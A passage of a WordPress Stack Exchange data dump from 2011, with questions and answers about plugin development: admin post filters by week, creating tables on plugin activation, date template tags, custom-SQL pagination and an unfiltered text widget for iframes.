  <row Id="19193" PostTypeId="2" ParentId="19186" CreationDate="2011-06-03T22:13:39.200" Score="2" ViewCount="" Body="&lt;p&gt;here you go , its something i quickly cooked up and it seems to work fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/EHbPY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: admin-filter-by-week&#xA;Plugin URI: http://en.bainternet.info&#xA;Description: answer to Filtering posts on Post Administration Page by Week Number instead of by Month&#xA;http://wordpress.stackexchange.com/questions/19186/filtering-posts-on-post-administration-page-by-week-number-instead-of-by-month&#xA;Version: 1.0&#xA;Author: Bainternet&#xA;Author URI: http://en.bainternet.info&#xA;*/&#xA;&#xA;add_filter( 'parse_query', 'week_admin_posts_filter' );&#xA;add_action( 'restrict_manage_posts', 'ba_admin_posts_filter_restrict_manage_posts' );&#xA;&#xA;function week_admin_posts_filter( $query )&#xA;{&#xA;    global $pagenow;&#xA;    if ( is_admin() &amp;amp;&amp;amp; $pagenow=='edit.php' &amp;amp;&amp;amp; isset($_GET['weekly_archive-dropdown']) &amp;amp;&amp;amp; $_GET['weekly_archive-dropdown'] != '') {&#xA;        $link =  $_GET['weekly_archive-dropdown'];  &#xA;        //http://en.bainternet.info/?m=2011&amp;amp;w=22&#xA;        $pos = strpos($link, '?m=');&#xA;        if ($pos !== false) {&#xA;            $m = substr($link, $pos + 3);&#xA;            $wpos = strpos($m, '&amp;amp;w=');&#xA;            $w = substr($m, $wpos + 3);&#xA;            $m = substr($m, 0, $wpos + 3);&#xA;            $query-&amp;gt;query_vars['year'] = $m;&#xA;            $query-&amp;gt;query_vars['w'] = $w;&#xA;            $query-&amp;gt;query_vars['post_status'] = array('publish','pending','draft','future','private');&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;function hack_weekly_archives($w){&#xA;    $types = &quot;IN('publish','pending','draft','future','private')&quot;;&#xA;    $w = str_replace(&quot;= 'publish'&quot;,$types,$w);&#xA;    return $w;&#xA;}&#xA;&#xA;&#xA;function ba_admin_posts_filter_restrict_manage_posts()&#xA;{&#xA;    add_filter('getarchives_where','hack_weekly_archives');&#xA;    ?&amp;gt;&#xA;    &amp;lt;select name=&quot;weekly_archive-dropdown&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;?php echo esc_attr( __( 'Select Week' ) ); ?&amp;gt;&amp;lt;/option&amp;gt; &#xA;    &amp;lt;?php wp_get_archives( 'type=weekly&amp;amp;format=option&amp;amp;show_post_count=1' ); ?&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;?php&#xA;    remove_filter('getarchives_where','hack_weekly_archives');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-04T20:11:34.900" LastActivityDate="2011-06-04T20:11:34.900" CommentCount="10" />
  <row Id="19194" PostTypeId="2" ParentId="19181" CreationDate="2011-06-03T23:34:37.727" Score="0" ViewCount="" Body="&lt;p&gt;There is a explanation at top in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/the_date&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_date&lt;/code&gt; function reference&lt;/a&gt;. I try to use always &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/the_time&quot; rel=&quot;nofollow&quot;&gt;the_time()&lt;/a&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="3575" LastActivityDate="2011-06-03T23:34:37.727" />
  <row Id="19195" PostTypeId="2" ParentId="19128" CreationDate="2011-06-03T23:39:58.193" Score="0" ViewCount="" Body="&lt;p&gt;From what I read on some sites, it is not very pleasing performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look details in the notes at bottom in &lt;a href=&quot;http://www.vsellis.com/reviews/remove-category-from-wordpress-urls-with-wp-no-category-base-plugin-review/&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt;. (that's my reference about)&lt;/p&gt;&#xA;" OwnerUserId="3575" LastActivityDate="2011-06-03T23:39:58.193" CommentCount="1" />
  <row Id="19196" PostTypeId="2" ParentId="19071" CreationDate="2011-06-03T23:49:56.410" Score="0" ViewCount="" Body="&lt;p&gt;Try using this instead &lt;code&gt;define('WP_POST_REVISIONS', 0);&lt;/code&gt;&lt;br&gt;&#xA;I am currently using this on my wp-config.php file and it is working on my blog. (:&lt;/p&gt;&#xA;" OwnerUserId="3575" LastEditorUserId="4998" LastEditorDisplayName="" LastEditDate="2011-06-04T09:23:36.513" LastActivityDate="2011-06-04T09:23:36.513" CommentCount="1" />
  <row Id="19197" PostTypeId="1" CreationDate="2011-06-04T00:23:56.460" Score="0" ViewCount="78" Body="&lt;p&gt;i got a client who wants to upload the images to the jcarousel gallery rather than have them imputed statically through HTML. is there such a plugin that would let me do this?&lt;/p&gt;&#xA;" OwnerUserId="5919" LastActivityDate="2011-09-02T05:39:45.773" Title="is there a jcarousel plugin for wordpress that loads dynamic images" Tags="&lt;gallery&gt;" AnswerCount="1" />
  <row Id="19198" PostTypeId="2" ParentId="19197" CreationDate="2011-06-04T00:41:42.660" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/carousel-gallery-jquery/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Carousel Gallery (jQuery)&lt;/strong&gt;&lt;/a&gt; plugin tweaks WordPress' built-in gallery function so your client could upload the images to it.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-04T00:41:42.660" CommentCount="2" />
  <row Id="19199" PostTypeId="1" AcceptedAnswerId="19202" CreationDate="2011-06-04T03:35:19.060" Score="0" ViewCount="95" Body="&lt;p&gt;Okay = been working on the plugin I posted about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18909/build-path-for-a-custom-portfolio-plugin&quot;&gt;over here&lt;/a&gt;, and having am having a couple troubles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to go the route of writing a plugin from scratch. As I noted, its an customized ajax gallery / portfolio, and I'm trying to work its management into wp-admin. The goal is finally to do the query/sorting with wp, and deliver xml or json back to the httprequest via this plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First things first though - when the plugin is first activated I'm trying to create a new table, and insert some test data to it (I'm following the &lt;a href=&quot;http://codex.wordpress.org/Creating_Tables_with_Plugins&quot; rel=&quot;nofollow&quot;&gt;wordpress codex&lt;/a&gt; guidelines.) When the plugin is successfully activated, however, nothing is happening. I'm getting no errors (anymore), but the table is not getting inserted, and no data is being added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize the codex script is procedural and I'm using a class, but &lt;em&gt;I think&lt;/em&gt; everything is scoped properly. Actually. I don't know if it is, specifically the &lt;code&gt;global $wpdb&lt;/code&gt;. &#xA;I'm still pretty new to php - it seems to have some scoping quirks that I don't quite grok yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any rate - this is what I've got so far. Very simple, but no go (yet).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php  &#xA;    /* &#xA;    Plugin Name: B99 Portfolio&#xA;    Plugin URI: http://www.joshbosworth.com/&#xA;    Description: B99 Portfolio data logic&#xA;    Version: 0.1&#xA;    Author: Josh Bosworth&#xA;    Author URI: http://www.joshbosworth.com &#xA;    */  &#xA;&#xA;    global $b99_pf_db_version;&#xA;    $b99_pf_db_version = &quot;1.0&quot;;&#xA;&#xA;    if ( !class_exists( 'B99_Portfolio')){&#xA;        require_once(ABSPATH . 'wp-admin/includes/upgrade.php');&#xA;&#xA;    class B99_Portfolio&#xA;    {&#xA;        public function B99_Portfolio(){}&#xA;&#xA;        public function __construct(){&#xA;            add_action('admin_menu', array( &amp;amp;$this, 'b99_portfolio_admin_actions' ));&#xA;        }&#xA;&#xA;    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&#xA;    //              admin &#xA;    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&#xA;&#xA;        public function b99_portfolio_admin_actions(){&#xA;            add_media_page( 'B99 Portfolio', 'B99 Portfolio',  'manage_options', 'B99_Portfolio', array( &amp;amp;$this, 'b99_portfolio_admin'));&#xA;        }&#xA;&#xA;        public function b99_portfolio_admin(){&#xA;            if (!current_user_can('manage_options'))  &#xA;                {&#xA;                        wp_die( __('You do not have sufficient permissions to access this page.') );&#xA;                }&#xA;                include('b99-portfolio-admin.php');&#xA;        }&#xA;&#xA;    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&#xA;    //              db table &#xA;    //++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++&#xA;&#xA;        var $table_name;&#xA;&#xA;        public function b99_pf_install(){  &#xA;            global $wpdb;&#xA;&#xA;            $this-&amp;gt;table_name = $wpdb-&amp;gt;prefix . &quot;b99_pf&quot;;&#xA;&#xA;            $sql = &quot;CREATE TABLE &quot; . $this-&amp;gt;table_name . &quot; ( //changed to class var&#xA;                id mediumint(9) NOT NULL AUTO_INCREMENT,&#xA;                time datetime DEFAULT '0000-00-00 00:00:00' NOT NULL,&#xA;                title tinytext NOT NULL,&#xA;                cat tinytext DEFAULT NOT NULL,  //changed from 'default'&#xA;                tag tinytext NOT NULL,&#xA;                note text NOT NULL,&#xA;                date tinytext NOT NULL,&#xA;                hr_path tinytext NOT NULL,&#xA;                lr_path tinytext NOT NULL, &#xA;                UNIQUE KEY id (id)&#xA;            );&quot;;&#xA;&#xA;            dbDelta($sql);&#xA;&#xA;            add_option(&quot;b99_pf_db_version&quot;, $b99_pf_db_version);&#xA;        }&#xA;&#xA;        public function b99_pf_install_data(){&#xA;            global $wpdb;&#xA;&#xA;            $title  = 'Testing Furiously';&#xA;            $cat    = 'illustration,design';&#xA;            $tag    = 'sketch';&#xA;            $note   = 'Seriously Testing';&#xA;            $date   = 'june 2008';&#xA;            $hr_path= 'hr/testing.furiously-hr.jpg';&#xA;            $lr_path= 'lr/testing.furiously-lr.jpg';&#xA;&#xA;            $rows_affected = $wpdb-&amp;gt;insert( $this-&amp;gt;table_name, array( 'time'  =&amp;gt; current_time('mysql'), //changed table_name to class var&#xA;                                                                'title' =&amp;gt; $title,&#xA;                                                                'cat'   =&amp;gt; $cat,&#xA;                                                                'tag'   =&amp;gt; $tag,&#xA;                                                                'note'  =&amp;gt; $note,&#xA;                                                                'hr_path'=&amp;gt;$hr_path,&#xA;                                                                'lr_path'=&amp;gt;$lr_path&#xA;                                                               ) );&#xA;        }&#xA;&#xA;&#xA;        } //end class&#xA;    }&#xA;&#xA;    if( class_exists(B99_Portfolio)){&#xA;        $b99_PF = new B99_Portfolio();&#xA;&#xA;        register_activation_hook(__FILE__, array(&amp;amp;$b99_PF, 'b99_pf_install'));&#xA;        register_activation_hook(__FILE__, array(&amp;amp;$b99_PF, 'b99_pf_install_data'));&#xA;    }&#xA;&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any advice would be most excellent. Frankly - and differing or contrary take on my overall plan here would be fine, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;btw. How the hell do I debug wordpress? I'm using netbeans / xampp...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;= update = &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok - was able to get xdebug up and running (thanks!). I have a couple more questions about this code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-Just general php&lt;/strong&gt; - I'm a little puzzled over variable scope &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$classvar // implied public modifier?&#xA;&#xA;private function someFunction(){&#xA;$classvar // let me get this straight - this is a new local var &#xA;$classvar !=$this-&amp;gt;classvar? // right? if so thats an important clarification...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-$wpdb&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;why&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb&#xA;$rows_affected = $wpdb-&amp;gt;insert(...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and not just &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wbdb-&amp;gt;insert(...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-register_activation_hook / wordpress db rebuild.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I notice the activation hook gets run each time the admin page gets loaded, and not only when the plugin is 'activated' which seems like the logical behavior. And it seems as tho wp-query rebuilds, or at least runs dbDelta on the entire wordpress database each rebuild of the admin page also? Not that this seems wrong, but I'm not sure I understand why. I should note- I'm just using myPhpAdmin to see if the table is getting added into the db structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly I've spent my whole career working client side ;) Although I've made use of a lot of php features in the past, this may be the first time I've attempted anything but 'simple' server side routines or copy/pastes. At any rate - thanks for the help - &lt;/p&gt;&#xA;" OwnerUserId="5430" LastEditorUserId="5430" LastEditorDisplayName="" LastEditDate="2011-06-04T17:17:24.507" LastActivityDate="2011-06-04T17:17:24.507" Title="How to properly create table in plugin" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="19200" PostTypeId="2" ParentId="19181" CreationDate="2011-06-04T03:40:14.257" Score="0" ViewCount="" Body="&lt;p&gt;1) &lt;code&gt;the_date()&lt;/code&gt; &lt;strong&gt;echoes&lt;/strong&gt; the date value, so this statement isn't correct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo the_date('d M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;the_date('d M');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2) If you have some posts posted on the same date, &lt;code&gt;the_date()&lt;/code&gt; will &lt;strong&gt;show only the date value for the 1st post&lt;/strong&gt;. There will be no result for remained posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get date of all post, use &lt;code&gt;get_the_date()&lt;/code&gt; (which returns date value) or &lt;code&gt;the_time()&lt;/code&gt; instead.&lt;/p&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-04T03:40:14.257" />
  <row Id="19201" PostTypeId="2" ParentId="19161" CreationDate="2011-06-04T03:45:23.757" Score="0" ViewCount="" Body="&lt;p&gt;I prefer use a function than use global variable, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_home()) set_query_var('posts_per_page', 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-06-04T03:45:23.757" />
  <row Id="19202" PostTypeId="2" ParentId="19199" CreationDate="2011-06-04T04:51:49.903" Score="1" ViewCount="" Body="&lt;p&gt;I see two problems-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;table_name = $wpdb-&amp;gt;prefix . &quot;b99_pf&quot;;&#xA;&#xA;$sql = &quot;CREATE TABLE &quot; . $table_name . &quot; (&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$table_name&lt;/code&gt; will be undefined, should be &lt;code&gt;$this-&amp;gt;table_name&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and in your query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cat tinytext default NOT NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't think it'll like that &lt;code&gt;default&lt;/code&gt; in there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; - to answer your debug question- &lt;a href=&quot;http://xdebug.org/&quot; rel=&quot;nofollow&quot;&gt;xdebug&lt;/a&gt;, &lt;a href=&quot;http://netbeans.org/kb/docs/php/debugging.html&quot; rel=&quot;nofollow&quot;&gt;xdebug and netbeans&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-04T04:51:49.903" CommentCount="5" />
  <row Id="19203" PostTypeId="1" AcceptedAnswerId="19236" CreationDate="2011-06-04T05:26:34.853" Score="0" ViewCount="69" Body="&lt;p&gt;I have a custom post-type 'videos' and on the first page I have the first video styled differently than the next videos on the page. Basically I show the first video in a large format, while the rest of the videos on the page are small.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On page 2, 3, etc of the video post-type, I do not want to have a large video on the top of the page, but rather follow my standard styling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I am using rewrite rules to allow me a second template page for my 'paged' for the post-type. I would rather not use this approach anymore as it is more to maintain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I used a check like if_paged.. then I find that I have to replicate a ton of code on my template. Hoping there is a simple way to identify the first post in the loop, style that, and then continue... open to any ideas&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-06-04T23:46:54.530" Title="What is the best practice to style archive page 2,3,etc differently than archive.php?" Tags="&lt;template&gt;&lt;archive&gt;" AnswerCount="2" />
  <row Id="19204" PostTypeId="1" CreationDate="2011-06-04T05:34:23.830" Score="0" ViewCount="62" Body="&lt;p&gt;I've added a new wp_menu to my sidebar on a custom post-type page. The wp_menu displays a list of a custom taxonomies terms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that wp_menu has the checkbox to automatically add new top level pages to the menu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function that I can add to my theme that will allow it to automatically add terms from a specific taxonomy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*second question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this menu is displayed on the sidebar of my custom post-type. When on the post-type-single.php template is there also an easy way to highlight the currently active term/terms?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-I found one post on this same question here, but the solution provided was to hardcode all the terms and I do not want to do that. Would rather it be automated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="370" LastActivityDate="2011-06-04T05:34:23.830" Title="wp-menu 'automatically add custom taxonomy terms' like it does for pages?" Tags="&lt;custom-menus&gt;&lt;terms&gt;" />
  <row Id="19205" PostTypeId="2" ParentId="18938" CreationDate="2011-06-04T06:41:30.017" Score="0" ViewCount="" Body="&lt;p&gt;I've gotten to the point now where content is displayed correctly, i the right order according to the SQL and also pagination works, the correct number of pages are being counted. However, the $ppp posts per page is not being respected and instead of showing 6 posts per page I get all three pages worth on one. My &quot;blog pages to show at most&quot; is 6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus my question now is why is posts_per_page not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;global $wpdb;&#xA;$query_sql = &quot;SELECT like_pid FROM &quot; . $wpdb-&amp;gt;prefix .&quot;likes_count ORDER BY like_count DESC&quot;;&#xA;$totalposts = $wpdb-&amp;gt;get_results($query_sql, OBJECT);&#xA;$ppp = intval(get_query_var('posts_per_page'));&#xA;$wp_query-&amp;gt;found_posts = count($totalposts);&#xA;$wp_query-&amp;gt;max_num_pages = ceil($wp_query-&amp;gt;found_posts / $ppp); &#xA;$on_page = intval(get_query_var('paged'));  &#xA;if($on_page == 0){ $on_page = 1; }      &#xA;$offset = ($on_page-1) * $ppp;&#xA;$wp_query-&amp;gt;request = &quot;SELECT like_pid FROM &quot; . $wpdb-&amp;gt;prefix .&quot;likes_count ORDER BY like_count DESC LIMIT $ppp OFFSET $offset&quot;;&#xA;$pageposts = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare ($query_sql, OBJECT));&#xA;if ($pageposts) {&#xA;foreach ($pageposts as $posts) {&#xA;$post = &amp;amp;get_post( $posts );&#xA;setup_postdata($post); ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;h1&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5859" LastActivityDate="2011-06-04T06:41:30.017" />
  <row Id="19206" PostTypeId="1" AcceptedAnswerId="19229" CreationDate="2011-06-04T08:20:08.357" Score="1" ViewCount="201" Body="&lt;p&gt;On edit.php, the main content is a list of posts, with columns including the published date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to change the date format of the published date &lt;em&gt;just on the admin page&lt;/em&gt;.  In this case, I don't want to change what the users see; I want to change what the admin sees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to add the day of the week to the published/scheduled date, because I'm planning to publish &quot;Every Tuesday, at least,&quot; and want to make sure I've scheduled posts correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After searching, the best route seems like it would be to create a custom field, but if there's a more subtle way to do this, I'd prefer to not install the custom field plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit:  thanks to Bainternet's comment, I see that I already have custom fields (the option was just hidden by default).   And, I see custom fields are &lt;em&gt;not&lt;/em&gt; what I want.  The data already exists; I just want to format it differently on the screen.&lt;/p&gt;&#xA;" OwnerUserId="5922" LastEditorUserId="5922" LastEditorDisplayName="" LastEditDate="2011-06-04T13:58:30.580" LastActivityDate="2011-06-09T06:47:54.903" Title="how to change &quot;published date&quot; format on edit.php (Posts page)?" Tags="&lt;customization&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="19207" PostTypeId="1" AcceptedAnswerId="19210" CreationDate="2011-06-04T08:28:45.567" Score="2" ViewCount="137" Body="&lt;p&gt;I'm trying to add an Amazon advertising widget in a WordPress sidebar widget (self-hosted WordPress, v3.1.3). The widget code is basically an iframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using the &quot;Text&quot; widget and pasting the iframe code in there, but when I save the widget, the iframe code disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've come across this problem/limitation before and solved it using the &lt;a href=&quot;http://wordpress.org/extend/plugins/iframe-widget/&quot; rel=&quot;nofollow&quot;&gt;IFrame Widget&lt;/a&gt;, but I want to use more than one iFrame in my sidebar, and the IFrame widget only supports one widget at a time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something obvious? Is there a setting somewhere to allow iframe code in the widgets? Or is it normally allowed, and I've done something silly to my install? If not, any good workarounds?&lt;/p&gt;&#xA;" OwnerUserId="833" LastActivityDate="2011-06-04T10:32:38.697" Title="Adding iframe Content to Sidebar Widget" Tags="&lt;widgets&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="19208" PostTypeId="1" CreationDate="2011-06-04T09:26:35.733" Score="0" ViewCount="43" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/18942/add-class-to-before-widget-from-within-a-custom-widget&quot;&gt;Add class to before_widget from within a custom widget&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Hello everyone,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm registering my widget as following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Buzz_Widget extends WP_Widget {&#xA;&#xA;/**&#xA; * Widget setup.&#xA; */&#xA;function Buzz_Widget() {&#xA;    /* Widget settings. */&#xA;    $widget_ops = array( 'classname' =&amp;gt; 'buzz', 'description' =&amp;gt; 'Buzz widget, displays a specified amount of posts that have been pull in from specified feeds via &quot;Syndication&quot;.' );&#xA;&#xA;    /* Widget control settings. */&#xA;    $control_ops = array( 'width' =&amp;gt; 300, 'height' =&amp;gt; 350, 'id_base' =&amp;gt; 'buzz-widget' );&#xA;&#xA;    /* Create the widget. */&#xA;    $this-&amp;gt;WP_Widget( 'buzz-widget', 'Buzz', $widget_ops, $control_ops );&#xA;    }&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;classname&lt;/code&gt; specified appears in the front end of the site. Is there a way to add a class to a widget's HTML on the admin widget page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dasha&lt;/p&gt;&#xA;" OwnerUserId="1343" LastEditorUserId="1343" LastEditorDisplayName="" LastEditDate="2011-06-04T09:33:47.447" LastActivityDate="2011-06-04T09:33:47.447" ClosedDate="2011-06-04T10:42:54.573" Title="How to add a class to a Widget in the admin widget page" Tags="&lt;widgets&gt;&lt;admin&gt;&lt;html&gt;" CommentCount="2" />
  <row Id="19209" PostTypeId="1" AcceptedAnswerId="19328" CreationDate="2011-06-04T09:49:33.760" Score="2" ViewCount="39" Body="&lt;p&gt;I can easily link to my archives page by creating a link: &lt;code&gt;&amp;lt;a href=&quot;http://server.com/wordpress/archives.php&quot;&amp;gt;Archives&amp;lt;/a&amp;gt;&lt;/code&gt;. As I was editing my WP template, I noticed that there are a number of functions that WP uses to link to other pages. For example &lt;code&gt;get_the_category_list&lt;/code&gt; returns a list of links. If I want to make my template more general, it would be nice not to hardcode the URL of my archives page and to use a WP function instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, how should template designers create links to WP generated pages?&lt;/p&gt;&#xA;" OwnerUserId="5909" LastActivityDate="2011-06-16T21:54:12.070" Title="What is the canonical way to link to pages?" Tags="&lt;links&gt;&lt;best-practices&gt;" AnswerCount="1" />
  <row Id="19210" PostTypeId="2" ParentId="19207" CreationDate="2011-06-04T10:32:38.697" Score="3" ViewCount="" Body="&lt;p&gt;Just create a widget that doesn’t filter your input. This is probably the most simple widget with user input you can build.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the widget I use in my plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/magic-widgets/&quot; rel=&quot;nofollow&quot;&gt;Magic Widgets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Simplified variant of the native text widget class.&#xA; *&#xA; * @author Thomas Scholz aka toscho http://toscho.de&#xA; * @version 1.0&#xA; */&#xA;class Unfiltered_Text_Widget extends WP_Widget&#xA;{&#xA;    /**&#xA;     * @uses apply_filters( 'magic_widgets_name' )&#xA;     */&#xA;    public function __construct()&#xA;    {&#xA;        // You may change the name per filter.&#xA;        // Use add_filter( 'magic_widgets_name', 'your custom_filter', 10, 1 );&#xA;        $widgetname = apply_filters( 'magic_widgets_name', 'Unfiltered Text' );&#xA;        parent::__construct(&#xA;            'unfiltered_text'&#xA;        ,   $widgetname&#xA;        ,   array( 'description' =&amp;gt; 'Pure Markup' )&#xA;        ,   array( 'width' =&amp;gt; 300, 'height' =&amp;gt; 150 )&#xA;        );&#xA;    }&#xA;&#xA;    /**&#xA;     * Output.&#xA;     *&#xA;     * @param  array $args&#xA;     * @param  array $instance&#xA;     * @return void&#xA;     */&#xA;    public function widget( $args, $instance )&#xA;    {&#xA;        echo $instance['text'];&#xA;    }&#xA;&#xA;    /**&#xA;     * Prepares the content. Not.&#xA;     *&#xA;     * @param  array $new_instance New content&#xA;     * @param  array $old_instance Old content&#xA;     * @return array New content&#xA;     */&#xA;    public function update( $new_instance, $old_instance )&#xA;    {&#xA;        return $new_instance;&#xA;    }&#xA;&#xA;    /**&#xA;     * Backend form.&#xA;     *&#xA;     * @param array $instance&#xA;     * @return void&#xA;     */&#xA;    public function form( $instance )&#xA;    {&#xA;        $instance = wp_parse_args( (array) $instance, array( 'text' =&amp;gt; '' ) );&#xA;        $text     = format_to_edit($instance['text']);&#xA;?&amp;gt;&#xA;        &amp;lt;textarea class=&quot;widefat&quot; rows=&quot;7&quot; cols=&quot;20&quot; id=&quot;&amp;lt;?php&#xA;            echo $this-&amp;gt;get_field_id( 'text' );&#xA;        ?&amp;gt;&quot; name=&quot;&amp;lt;?php&#xA;            echo $this-&amp;gt;get_field_name( 'text' );&#xA;        ?&amp;gt;&quot;&amp;gt;&amp;lt;?php&#xA;            echo $text;&#xA;        ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;?php&#xA;        /* To enable the preview uncomment the following lines.&#xA;         * Be aware: Invalid HTML may break the rest of the site and it&#xA;         * may disable the option to repair the input text.&#xA;&#xA;        ! empty ( $text )&#xA;            and print '&amp;lt;h3&amp;gt;Preview&amp;lt;/h3&amp;gt;&amp;lt;div style=&quot;border:3px solid #369;padding:10px&quot;&amp;gt;'&#xA;                . $instance['text'] . '&amp;lt;/div&amp;gt;';&#xA;        /**/&#xA;        ?&amp;gt;&#xA;&amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You register the widget with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 